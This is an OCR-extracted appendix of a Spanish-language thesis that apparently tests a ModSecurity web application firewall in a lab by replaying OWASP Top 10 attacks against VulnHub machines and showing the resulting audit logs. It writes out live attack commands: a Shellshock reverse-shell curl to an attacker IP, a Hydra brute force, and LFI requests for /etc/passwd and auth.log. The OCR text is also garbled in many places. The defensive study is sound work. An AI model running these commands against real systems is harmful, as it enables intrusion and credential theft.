1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la IP 192.168.10.10 del servidor vulnerable “INSANITY:1” (ver
Figura C.18).

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene implementado la solucion WAF (ver Figura C.19).

3. Replicar los pasos del 1 al 6 detallados en el Anexo A, subseccion A05:2021 —
Configuracién de seguridad incorrecta, desde el reconocimiento hasta la clonacién
de “SecLists” del repositorio GitHub.

4. Como en este escenario las peticiones HTTP salen de un terminal de la maquina
cliente y no desde el navegador, es necesario instalar y configurar la herramienta
proxychains con el comando sudo apt-get install proxychains.

5. Utilizando gobuster, y pasando el trafico por proxychains, se vuelve a ejecutar el
ataque para el listado de directorios del servidor web “INSANITY:1” apuntando a
la url del proxy inverso http://waf-utn.com.ec. En la Figura C.20 se puede observar
que las peticiones al servidor fueron blogueadas por el WAF con un codigo 403.
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Figura C.17

Log de auditoria registrado por ModSecurity

Archivo Maquina WVer Entrada Dispositivos Ayuda
--768c9835-A--
[16/0ct/2823:18:57:55.373478 --85881 Z330A3f iD7p9quyzkzkAnLAAnAAl 192.168.108.158 48568 192.168.18.5 8
]
--768c9835-B--
GET http:~--waf-utn.edu.ec coresconf ig-databases.yml HTTP-1.1
Host: waf-utn.edu.ec
User-Agent: Mozillars5.8 (X11: Linux xB6_64. rv:189.8) Gecko 28188181 Firefox-115.8
ficcept: textshtml,applicationsxhtml+xml,application xml:q=8.9, image~-avif, image webp,=* = q=0.8
Accept-Language: en-US,en:q=8.5
ficcept-Encoding: gzip, deflate
DHT: 1
Commection: keep-alive
Upgrade-Insecure-Requests: 1

--768c9835-F--

HTTP-1.1 483 Forbidden

Content-Length: 227

Keep-Alive: timeout=5, max=16@

Connection: Keep-Alive

Content-Type: text-html: charset=iso-8859-1

--768c9835-E--

<tDOCTYPE HTML PUBLIC “'--~IETF--DTD HTML 2.8--EN">

<html><head>

<title>483 Forbidden<-title>

< head><body>

<hl1>Forbidden<-h1>

<p>You don’t have permission to access -corerconfig-sdatabases.yml
on this server.<{,/p>

<body><-html>

--?68c9835-H--

Message: Access denied with code 483 (phase 2). String match within ".ymls _phar- .asar .asax” .ascx

» .axd~ .backup-s .bak-s .bat-s .cdxs .cerr .cfgs .cmds .com’ .configrs .confrs .cs/ .csprojs .csrr .dats
.dbs .dbf, .dllrs .dos-, .htrs .htw .idar .idcr .idgs .incs .inir .key~s .licxs .Ilnks .logs .mdb-s .ol

d- .pass~s .pdbrs .pols .printer, .pwds .rdb-s .resources~s .resxs .sql-s .swps .sys-s .vhrs .vbs~s .ubproj-s
wediscos .webinfor .xsds .xsx" at TH:extension. [file "retc-httpd-modsecurity.d-coreruleset-3.3.4

/rules/REQUEST-928-PROTOCOL-ENFORCEMENT .conf 1 [line "1B856"1 [id 9284481 [msg "URL file extension
is restricted by policy”] [data ".yml"]1 [sewerity "CRITICAL"]1 [wer "ODWASP_CR5-3.3.4"1 [tag “applicat
ion-mlti”]l [tag "language-multi']l [tag "platform-melti’]l [tag "attack-protocol™] [tag “parancia-lew

el-1"]1 [tag "OWASP_CRS"]1 [tag “capec-1888-218-272"1 [tag "PCI-6.5.18"1

fApache-Error: [file "apacheZ_util.c”] [line 2711 [level 31 [client 192.168.108.1581 ModSecurity: Acce|

=z denied with code 483 (phase 2). String match within ".yml- .phar- .asa- .asaxs .ascxs .axd- .back

up~ .baks .batrs .cdx” .cer~r .cfgrs .cmds .com” .configs .conf- .cs/ .csprojs .csrr .dats .dbr .dbf~

dl1l~ .dos- .htrrs .htw .idar .idcr .idg~s .incs .inis .key~s .licxs .Ink-s .logs .mdb~r .old~ .pass~s .pd

bs .polrs .printers .pwds .rdbrs .resourcess .resxs .sql/ .swps .sys/ .vwbs .vbss .vbprojs .wsdiscors .

ebinfor .xsdr _xsx" at TH:extension. [file "retc-httpd-modsecurity.d-coreruleset-3.3.4-rules-REQUES

T-928-PROTOCOL -ENFORCEMENT .conf ™1 [line "1856"1 [id '"928448"1 Imsg "URL file extension is restricted
by policy™] [data ".yml"]1 [severity "CRITICAL"1 [ver “OWASP_CRS-3.3.4"1 [tag "application-multi™] [

tag "language-multi”1 [tag "platform-multi”] [tag “attack-protocol™] [tag "paranoia-lewel-1"1 [tag "

OWASPE_CRS"]1 [tag "capec-1888.-218-272"1 [tag "PCI-6.5.18"1 [hostname "waf-utn.edu.ec"]l [uri "~core-co|

nf igsdatabases.yml™] [unigque_id “"ZS30A3f iD7p9quzkzkAnLAAAAAT" ]

fAction: Intercepted (phase 2)

fipache-Handler: proxy-server

Stopwatch: 169758B6Y53788441 2787 (- - -)

StopwatchZ: 169758B675378844 2787. combined=1658, pil=1188, p2=326, p3=8, pi=08, p5=232, =r=2808, =w=H,
1=8. gc=8

Response-Body-Transformed: Dechunked

Producer: ModSecurity for ApachersZ.9.6 (http:/swas.modsecurity.org-s); OWASP_CR5-3.3.4.

Server: fApachesZ.4.6 (Cent03)

Engine-Mode: “"ENABLED"

Figura C.18
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
1P del servidor vulnerable “INSANITY:1"”

Archivo Maquina Wer Entrada Dis
GNU nano 2.3.1 Fichero: setc/httpd-/conf .d-test._ conf Modif icado

<UirtualHost =:88>
ServerName waf-utn.com.ec

ProxyPreserveHost On

ProxyPass ~» http:r,192.168.18.18~

ProxyPassReverse ~ http:--192.168.18.18/
<~WUirtualHost>
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Figura C.19

Configuracion del proxy inverso en el navegador del cliente

Configure Proxy Access to the Internet

MNo proxy
Auto-detect proxy settings for this network
Use system proxy settings

@Manuat proxy configuration

HTTP Proxy | 192.168.10.5

Figura C.20
Bloqueo del WAF al listado de directorios del servidor web “INSANITY:1"”

/home/kali/Desktop/A85_2821_Maquina_Insanity_VulnHub
gobuster dir ttp: /. w fusr/share/SecLists/Discovery/Web-Conten
tory-list-2.3- i

ains.so.4

fusr/share/SecLists/Discov Web-Content/directory-list-2.3-medium.

atus codes: L@4
gobuste
los

existing urls.
). To continue

6. En la Figura C.21 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo al listado de directorios ejecutado en el paso 5. Del
log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 15/0ct/2023:07:04:20

o Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-913-SCANNER-DETECTION.conf

e Tiempo de procesamiento en cada fase: p1=754 us, p2=142 us, p3=0 ps,
p4=0 ps, p5=321 ps, sr=254 ps, sw=111 ps, gc=0 ps
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Figura C.21
Log de auditoria registrado por ModSecurity

--f147f 184-A--

[15-0ct 2823 :87:84:28 .871679 —-85881 ZSVURNbmuUUIAUs?MKcIdAAAAAM 192.168.18.158 44334 192.168.18.5 8
]

--£1d7f184-B--

GET -718a4313-a?52-4aBb-a9f4-6af 2c9633a6c HTTP-1.1

Host: waf-utn.com.ec

User-Agent: gobuster-3.6

ficcept-Encoding: gzip

--f1d4?f184-F-—-

HTTP-1.1 483 Forbidden

Content-Length: 238

Content-Type: textrhtml: char=set=iso-8859-1

--f14?f184-E-—-

<tDOCTYPE HTML PUBLIC "---IETF~,DTD HTML 2.8-/EN">

<html><head>

<title>483 Forbidden<-title>

<~head><body>

<h1>Forbidden</h1>

<p>¥ou don’t have permission to access -?1Ha4313-a?52-4abBb-a9f4-6afZcI633abe
on this server.<{/p>

<sbody><shtml>

--f147f184-H—-

Message: Access denied with code 483 (phase 2). Matched phrase “gobuster™ at REQUEST_HEADERS:User-Ag

ent. [file "setc/httpd-modsecurity.d- coreruleset-3.3.4/rules/REQUEST-913-SCANNER-DETECTION.conf "1 [1
ine "55"1 [id "913188"]1 [msg "Found User-fAgent associated with security scamner”] [data "Matched Dat

a: gobuster found within REQUEST HEADERS :User-figent: gobuster-,3.6"1 [severity "CRITICAL"]1 [wer "DLKS

P_CR5-3.3.4"1 [tag "application-multi"] [tag "language-multi"] [tag “platform-multi”] [tag “attack-r

eputation-scammer”] [tag "paranoia-level-1"]1 [tag "OWASP_CRS"] [tag “capec-1888.-118-224.541-318"1 [t

ag "PCI/6.5.18"]

fipache-Error: [file “apacheZ_util.c"1 [line 2711 [level 31 [client 192.168.18.1581 ModSecurity: Acce

ss denied with code 483 (phase 2). Matched phrase "gobuster' at REQUEST HEADERS :User-Agent. [file "

etc/httpdsmodsecurity.d/coreruleset-3.3.4/rules/REQUEST-913-SCANNER-DETECTION.conf "1 [line 551 [i
"913188"]1 [msg "Found User-fAigent associated with security scammer”] [data "Matched Data: gobuster f

ound within REQUEST HEADERS:User-Agent: gobuster.3.6"]1 [severity "CRITICAL"] [ver "OWASP_CRS.3.3.4"]
[tag "application-multi”1 [tag "language-multi”1 [tag “platform-multi”] [tag “attack-reputation-sc

mer"] [tag “paranoia-level~1"1 [tag “OWASP_CRS"1 [tag “capec-1888-118-224,541-318"]1 [tag "PCI-6.5.

8"1 [hostname “"waf-utn.com.ec"] [uri “,71Ba4313-a752-4aBb-a9%f 4-6af2c9633ab6c"”] [unigue_id ""ZSWURNbmu

UIdUs?MEc 1dARAAAM™]

fiction: Intercepted (phase 2)

Apache-Handler: proxy-server

Stopwatch: 1697371468878113 16683 (- - -)

StopwatchZ: 1697371468878113 16H3; combined=13Z8, pl=754, p2=14Z, p3=B, p4=8, p5=321, sr=254, sw=11
, 1=8, gc=8

Response-Body-Transformed: Dechunked

Producer: ModSecurity for fApachersZ2.9.6 (http! wm.modsecurity.org-s): OWASP_CRS-3.3.4.

Server: fipachesZ2.4.6 (Cent03)

Engine-Mode: “"ENABLED"

--f1d?f184-Z--

A06:2021 — Componentes vulnerables y desactualizados

Para este apartado se replica la explotacion del servidor vulnerable “SYMFONOS:3.1”

de la plataforma VulnHub.
Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo

letc/httpd/conf.d/test.conf de la maquina virtual con la implementacién del WAF
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para que resuelva la IP 192.168.10.11 del servidor vulnerable “SYMFONOS:3.1”
(ver Figura C.22).

Figura C.22
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
1P del servidor vulnerable “SYMFONOS:3.1"

Archive Maguina Ver Entrada Dispositivos Ayuda
GNU nano 2.3.1 Fichero: retc/httpdrsconf.d-test.conf Modif icado

<UirtualHost =:88>
ServerName waf-utn.com.ec
ProxyPreserveHost On
ProxyPass ~ http:-/-192.168.18.11~
ProxyPassReverse ~ http:/-192.168.18.11/
</VirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.23).

Figura C.23
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

(_) Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 192.168.10.5

3. Replicar los pasos del 1 al 5 detallados en el Anexo A, subseccion A06:2021 —
Componentes vulnerables y desactualizados, desde el reconocimiento hasta la
verificacion de la ruta http://192.168.10.11/cgi-bin/underworld.

4. Pasando el trafico por proxychain, se vuelve a ejecutar el ataque Shellshock
apuntando a la url del proxy inverso http://waf-utn.com.ec mediante el comando
proxychains curl -s -X GET "http://waf-utn.com.ec/cgi-bin/underworld" -H "User-
Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/192.168.10.150/1234 0>&1" para
establecer una shell reversa a la maquina del atacante. En la Figura C.24 se puede
observar que la peticion al servidor fue blogueada por el WAF.

5. En la Figura C.25 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo al establecimiento de una shell reversa ejecutado en
el paso 4. Del log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 17/0ct/2023:15:48:09
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e Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-911-METHOD-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=402 ps, p2=118 ps, p3=0 ps,
p4=0 ps, p5=121 ps, sr=79 ps, sw=0 ps, gc=0 pus

Figura C.24
Bloqueo del WAF a una shell reversa desde el servidor “SYMFONOS:3.1”

3_VulnHub/nmap

_H L

config file found: /etc/proxychains.conf

preloading fusr/lib/x86_64-linux-gnu/libproxychains.so.4

DLL init: proxychains-ng 4.16

Strict chain ... 192.168.10.5:80 ... 192.168.10.5:88 ¢—denied

Figura C.25

Log de auditoria registrado por ModSecurity

--35df 5e58-A--

[17/0ct,20823:15:48:89.528327 --85881 Z57zCTK jeVsoSquiuwDsPluAnAAl 19Z.168.108.158 56148 192.168.18.5 8
a

--35df 5e58-B--

CONNECT 192.168.18.5:88 HTTF-1.8

Host: 192.168.18.5:88

--354f 5e58-F--

HTTP-1.1 484 Not Found

Content-Length: 274

Content-Type: text html: charset=iso-8859-1
Comnection: close

--35df 5e58-H--

Message: Access denied with code 483 (phase 2). Match of "within »{tx.allowed_methods}"” against “REQ
UEST_METHOD" required. [file "retcshttpdsmodsecurity.dscoreruleset-3.3.4/rules/REQUEST-911-METHOD-EN
FORCEMENT .conf ™1 [line "44"1 [id "911188"1 [msg "Method is not allowed by policy"l [data "CONNECT"]
[severity "CRITICAL"] [wer "OWASP_CRS~3.3.4"1 [tag "application-multi"] [tag "language-multi"] [tag
"platform-multi”] [tag "attack-generic"] [tag "paranoia-levelrs1"1 [tag "DWASP_CRS"1 [tag “capec-1888
y218,272,228,274"] [tag "PCL/12.1"]

Apache-Error: [file “apacheZ_util.c"] [line 2711 [level 31 [client 192.168.18.158]1 ModSecurity: Acce
ss denied with code 483 (phase 2). Match of "within »#{tx.allowed_methods}” against "REQUEST_METHOD"
required. [file “retc httpd-modsecurity.d- coreruleset-3.3.4-rules/REQUEST-911-METHOD-ENFORCEMENT .con
£"1 [line "44"1 [id "911188"1 [msg "Method is not allowed by policy”] [data “CONMECT"1 [severity “CR
ITICAL"1 [wver “DWASP_CRS~3.3.4"1 [tag “application-multi”] [tag "language-multi™] [tag "platform-mual
ti"] [tag "attack-generic"] [tag “paranoia-levelrs1"]1 [tag "OWASP_CRS"1 [tag “capec-1880-218,272,228/
274"1 [tag “"PCI~12.1"1 [hostname "192.168.18.5"1 [uri "~/"1 [unigque_id "ZS7zCTk jeUsoSguiwDsP luhAnal" ]
fiction: Intercepted (phase Z)

fipache-Handler: proxy-server

Stopwatch: 1697575689518346 26882 (- - -)

StopwatchZ: 1697575689518346 2882; combined=641, pl=482, p2=118, p3=B, p4=-8, p5=121, sr=79, sw=8, 1=
B, gc=8

Producer: ModSecurity for ApachesZ.9.6 (http:r  wms.modsecurity.orgrs): OWASP_CRS-3.3.4.

Server: ApachesZ.4.6 (Cent03)

Engine-Mode: “"ENABLED"

A07:2021 — Fallas de identificacion y autenticacion

Para este apartado se replica la explotacion del servidor vulnerable “INFERNO:1.1”

de la plataforma VulnHub.
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Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la IP 192.168.10.12 del servidor vulnerable “INFERNO:1.1” (ver
Figura C.26).

Figura C.26
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
IP del servidor vulnerable “INFERNO:1.1"

Archivo Maquina Ver Entrada Dispositivos Ayuda
GNU nmano 2.3.1 Fichero: rsetc/httpd/-sconf .dstest.conf Modif icado

<UirtualHost =:88>
ServerName waf -utn._com.ec
ProxyPreserveHost On
ProxyPass ~» http:,-192.168.18.12~
ProxyFassReverse ~ http:/~192.168.18.12~
<sUirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.27).

Figura C.27

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 19

3. Replicar los pasos del 1 al 5 detallados en el Anexo A, subseccion A07:2021 —
Fallas de identificacion y autenticacién, desde el reconocimiento hasta la
verificacion de la ruta http://192.168.10.12/inferno.

4. Pasando el trafico por proxychain, se vuelve a ejecutar el ataque de fuerza bruta
para el usuario admin apuntando a la url del proxy inverso http://waf-utn.com.ec
mediante el comando proxychains hydra -l admin -P
lusr/share/wordlists/rockyou.txt waf-utn.com.ec http-get /inferno -t 60 para

descubrir si la contrasefia estd publicada en el diccionario rockyou.txt de Kali
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Linux. En la Figura C.28 se puede observar la salida del comando ingresado, y

como el WAF bloguea el funcionamiento de Hydra.

Figura C.28
Bloqueo del WAF al ataque de fuerza bruta al servidor “INFERNO:1.1”

/home/kali/Desktop/A07_2021_Maquina_Inferno_VulnHub/contenido

hydra -1 admin -P /usr/share/wordlists/rockyou.txt waf-utn.com.ec http-get
/inferno -t 60
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or s
ecret service organizations, or for illegal purposes (this is non-binding, these ***x ignore
laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-18 14:46:56

[DATA] max 60 tasks per 1 server, overall 60 tasks, 14344399 login tries (1:1/p:14344399),
~239074 tries per task

[DATA] attacking http-get://waf-utn.com.ec:80/inferno

¢«—denied

¢«—denied

¢«—denied

[ERROR] Child with pid 38908 terminating, can not connect
¢—denied

[ERROR] Child with pid 38935 terminating, can not connect

[ERROR] Child with pid 38954 terminating, can not connect

[ERROR] Child with pid 38948 terminating, can not connect
¢«—denied

[ERROR] Child with pid 38950 terminating, can not connect

[ERROR] all children were disabled due too many connection errors
® of 1 target completed, @ valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-18 14:47:02

5. En la Figura C.29 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo al ataque de fuerza bruta ejecutado en el paso 4. Del
log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 18/0Oct/2023:12:09:03

o Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-911-METHOD-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=533 us, p2=154 pus, p3=0 ps,
p4=0 us, p5=187 ps, sr=142 ps, sw=0 us, gc=0 us

A08:2021 — Fallas en el software y en la integridad de los datos

Para este apartado se replica la explotacion del servidor vulnerable “LEEROY:1” de la

plataforma VulnHub.

Los pasos a seguir son:
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1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la IP 192.168.10.17 y el alias del servidor vulnerable
“LEEROY:1” (ver Figura C.30).

Figura C.29

Log de auditoria registrado por ModSecurity

--Baadcal?-A—-

[18/0ct2823:12:P9:83 .886645 --B5081 ZTARL7RctIS:MN1TcTmtD:)AARAA 19Z.168.18.158 37348 192.168.18.5 §
a

--Baadcal?-B-—-

CONNECT push.services.mozilla.com:443 HTTP-1.1

User-Agent: Mozilla-5.@ (X11: Linux x86_64: rv:189.8) Gecko-28188181 Firefox/115.8

Froxy-Commection: keep-aliuve

Connection: keep-alive

Host: push.services.mozilla.com:443

--Baa3cal?-F--

HTTP-1.1 484 Not Found

Content-Length: 288

Content-Type: text<html; charset=iso-8859-1
Keep-Alive: timeout=5, max=188

Connection: Keep-filive

--Baajcal?-H—-

Message: Access denied with code 483 (phase 2). Match of “within »«{tx.allowed_methods}" against “RE0]
UEST_METHOD" required. [file "setc httpd- modsecurity.d/coreruleset-3.3.4-rules~REQUEST-911-METHOD-E
FORCEMENT.conf"1 [line "44"1 [id "911188"1 [msg "Method is wot all by policy”] [data "CONNECT"]

[severity "CRITICAL"1 [ver "OWASP_CRS-3.3.4"1 [tag "application-multi™1 [tag "language-multi™1 [tag
"platform-multi'’]l [tag "attack-generic”] [tag “"paranoia-lewelrs1"1 [tag “"OWASP_CRS"1 [tag “capec-10HA
218,272,228-274"]1 [tag “"PCI-12.1"]

Apache-Error: [File "apacheZ_util.c"] [line 2711 [level 31 [client 192.168.18.1581 ModSecurity: Acce
ss denied with code 483 (phase 2). Match of "within »{tx.allowed_methods}" against “"REQUEST_METHOD"
required. [file "~etcshttpd/modsecurity.d-coreruleset-3.3.4-rules REQUEST-911-METHOD-ENFORCEMENT . cov
£"1 [line "44"]1 [id '911188"]1 [msg "Method is not allowed by policy”] [data "CONMECT"]1 [severity "CH
ITICAL"] [ver "OWASP_CRS-3.3.4"1 [tag "application-multi"1l [tag "language-multi"] [tag "platform-mul
ti"]1 [tag “attack-generic"]l [tag “paranoia-levelr1"] [tag "DWASP_CRS"] [tag “capec./1888.218/272-228
274”1 [tag "PCI~-1Z.1"1 [hostname “push.services.mozilla.com”] [uri /"1 [unique_id “"ZTARL7RctISxN1Td
Tmt D xQAAAAAR™ ]

fiction: Intercepied (phase 2)

Apache-Handler: proxy-server

Stopwatch: 1697648766483285 9889 (- - -)

StopwatchZ: 1697648766483285 9889; combined=874, pi1=533, p2=154, p3=8, p4=8, p5=187, sr=142, sw=@, ]
=@, gc=A

Producer: ModSecurity for Apaches2.9.6 Chttp:- wmay.modsecurity.org-): OWASP_CRS-3.3.4.

Server: fApachersZ.4.6 (Cent03)

Engine-Mode: “ENABLED"

--5ah97374-Z—-

Figura C.30
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la

IP y alias del servidor vulnerable “LEEROY:1"
GNU nano 2.3.1 Fichero: retc/httpd/conf.d-test.conf

{UirtualHost =:88>

i ServerName waf-utn.com.ec
ServerName leeroy.htb
ProxyPreserveHost On

ProxyPass ~ http:--192.168.168.17:13388~
ProxyPassReverse ~» http:--192.168.18.17:13388~

{sUJirtualHost>
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2. En la maquina cliente (S.O. Kali Linux) editar el archivo /etc/hosts para quitar la
resolucion del alias del servidor “leeroy.htb” ya que el mismo va a ser resuelto por

el proxy inverso implementado (ver Figura C.31).

Figura C.31

Edicién del archivo /etc/hosts para quitar la resolucion del alias del servidor

File Actions Edit View Help

[1/1] /etc/hosts =

127 @.]

localhost

kali

localhost ip6-localhost ip6-loopback
ip6-allnodes

ip6-allrouters
++ I o . th

3. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.32).

Figura C.32
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 192.168.10.5

4. Replicar los pasos del 1 al 7 detallados en el Anexo A, subseccién A08:2021 —
Fallas en el software y en la integridad de los datos, desde el reconocimiento hasta
la identificacion de plugins para la aplicacion http://leeroy.htb:13380.

5. Se vuelve a ejecutar el ataque del tipo Local File Inclusion para el plugin spritz
pasando el trafico por proxychains. Mediante el comando proxychains curl -s -X
GET "http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wp.spritz.content.
filter.php?url=/../../../../letc/passwd" | grep "sh$" se intenta enumera los usuarios
del sistema en el servidor activando el bloqueo del WAF (ver Figura C.33).

6. En la Figura C.34 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo a la peticion hecha en el paso 5. Del log de auditoria
se puede extraer metadatos importantes como:

e Fechay hora del ataque: 22/0ct/2023:17:08:56
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e Direccion IP del atacante: 192.168.10.16

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-911-METHOD-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=745 ps, p2=115 ps, p3=0 ps,
p4=0 ps, p5=212 ps, sr=216 ps, sw=0 us, gc=0 us

Figura C.33

Bloqueo del WAF a la enumeracion de usuarios por ataque tipo LFI en plugin spritz

fhome/kali/Desktop/ABE_2021_Maquina_Leeroy_VulnHub/contenido
L ] I

config file found: /etc/pr

preloading fusr/lib/x86_64-linux-gnu/libproxychains.so.4

DLL init: proxychains-ng 4.16

Strict chain ... 192.168.10.5:80 ... leeroy.htb:13380 ¢<—denied

Figura C.34
Log de auditoria registrado por ModSecurity

--a5493956-A--

[2Z2/0ct 2023:17:88:56.980545 --85081 ZTWdeCKuwlubxluNkeGDBwinnng 192.168.18.16 56444 192.168.18.5 B8
--a5493956-B--

CONNECT leeroy.htb:13388 HTTP-1.8

Host: leeroy.hth:13388

--a5493956-F--

HTTP-1.1 483 Forbidden

Content-Length: 321

Comnection: close

Content-Type: text-html: charset=iso-8859-1

--a5493956-E--

<tDOCTYPE HTML PUBLIC “--~IETF--DTD HTML 2.8--EN">
<html><head>

<title>483 Forbidden<-title>

<+head><body>

<hl>Forbidden<-h1>

<p>You don’t have permission to access ~

on this server.<{,/p>

<p>Additionally, a 483 Forbidden

error was encountered while trying to use an ErrorDocument to handle the regquest.</p>
</body> < html >

--a5493956-H—-

Message: Access denied with code 483 (phase Z2). Match of "within »{tx.allowed_methods}" against "REQ)
UEST_METHOD" required. [file "retcshttpd-modsecurity.d-coreruleset-3.3.4-rules-REQUEST-911-METHOD-E
FORCEMENT .conf "1 [line "44"1 [id "911188"1 [msg "Method is not allowed by policy"l [data “"CONMMECT"]
[sewverity "CRITICAL"1 [ver "OWASP_CRS-3.3.4"1 [tag "application-multi”] [tag “language-multi"] [tag
"platform-multi”] [tag “attack-generic"] [tag “"paranoia-level-s1"1 [tag "DWASP_CRS"]1 [tag “capec~1868
,218/272,228-274"]1 [tag "PCI-12.1"1

Apache-Error: [file “apacheZ_util.c"] [line 2711 [level 31 [client 192.168.18.16]1 ModSecurity: Acces|
s denied with code 483 (phase 2). Match of “within »{tx.allowed_methods}" against "REQUEST_METHOD"
equired. [file “setcshttpd- modsecurity.d-coreruleset-3.3.4/rules/REQUEST-911-METHOD-ENFORCEMENT . conf)|
"1 [line "44"1 [id '911188"]1 [msg "Method is not allowed by policy”] [data "COMMECT"] [severity 'CRI
TICAL"1 [ver "OWASP_CRS-3.3.4"1 [tag “application-multi"1 [tag “language-multi'']l [tag “"platform-mul
i1 [tag "attack-generic"] [tag “parancia-levelr1"1 [tag "ODWASP_CRS"] [tag "“capec-1888-218,272,228.2
74"1 [tag "PCI-12.1"1 [hostname "leeroy.htb”1 [uri "~"1 [unigque_id "ZTWdeCKutubxlutkeGDButAAAQ" ]
Apache-Error: [file "mod_proxy_http.c”1 [line 19981 [level 31 AHA1114: HTTP: failed to make connect i
on to backend: 192.168.18_17

fiction: Intercepted (phase 2]

fAipache-Handler: proxy-server

Stopwatch: 1698812536898567 26887 (- - -)

StopwatchZ: 16986812536898567 ZB87: combined=1872, p1=745, p2=115, p3=8, p4=8, p5=212, sr=216, sw-08,
1=8, gc=A

Response-Body-Transformed : Dechunked

Producer: Mod3ecurity for ApacherZ.9.6 (http:-/was.modsecurity.org-): OWASP_CRS-3.3.4.

Server:! ApacherZ.4.6 (CentOS5)

Engine-Mode: "ENABLED"
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A09:2021 — Fallas en el registro y monitoreo

Para este apartado se replica la explotacion del servidor vulnerable “HA:NATRAJ” de

la plataforma VulnHub.
Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la IP 192.168.10.13 del servidor vulnerable “HA:HATRAJ” (ver
Figura C.35).

Figura C.35
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
1P del servidor vulnerable “HA:NATRAJ”

Archive Maquina Ver Entrada Di itivos  Ayuda
GNU nano 2.3.1 Fichero: rsetcshttpd-conf.d/test.conf Modif icado

<UVirtualHost =:88>
ServerName waf -utn.com.ec
ProxyPreserveHost On
ProxyPass ~» http:r-192.168.18.13~
ProxyPassReverse ~ hitp:/~»192.168.18.13/
<VirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.36).

Figura C.36
Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

© Manual proxy configuration

HTTP Proxy| 19:

3. Replicar los pasos del 1 al 7 detallados en el Anexo A, subseccion A09:2021 —
Fallas en el registro y monitoreo, desde el reconocimiento hasta la verificacion del
parametro file en el archivo http://waf-utn-com.ec/console/file.php.

4. Desde el navegador se apunta a la url http://waf-utn.com.ec/console
[file.php?file=/var/log/auth.log para visualizar los logs de las conexiones ssh en el
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ataque tipo Local File Inclusion y Log Poisoning. En la Figura C.37 se puede

observar que la peticion al servidor fue bloqueada por el WAF.

Figura C.37
Bloqueo del WAF al acceso del archivo /var/log/auth.log en el servidor “HA:NATRAJ”

© A& waf-utn.com.ec/ file.php?file=/var

KaliLinux #5 KaliTeols « KaliDocs % Kali Forums e Kali NetHunter Exploit-DB

Forbidden

You don't have permission to access /console/file.php on this server.

5. En la Figura C.38 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo al acceso del archivo /var/log/auth.log ejecutado en
el paso 4. Del log de auditoria se puede extraer metadatos importantes como:

e Fechay hora del ataque: 21/0ct/2023:07:16:48

e Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-930-APPLICATION-ATTACK-LFI.conf

e Tiempo de procesamiento en cada fase: p1=1077 ps, p2=772 ps, p3=0 ps,
p4=0 ps, p5=260 ps, sr=152 us, sw=1 us, gc=0 us

A10:2021 - Falsificacion de solicitudes del lado del servidor (SSRF)

Para este apartado se replica la explotacion del servidor vulnerable
“HARRYPOTTER:NAGINI” de la plataforma VulnHub.

Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la IP 192.168.10.15 del servidor vulnerable
“HARRYPOTTER:NAGINI” (ver Figura C.39).

123



Figura C.38

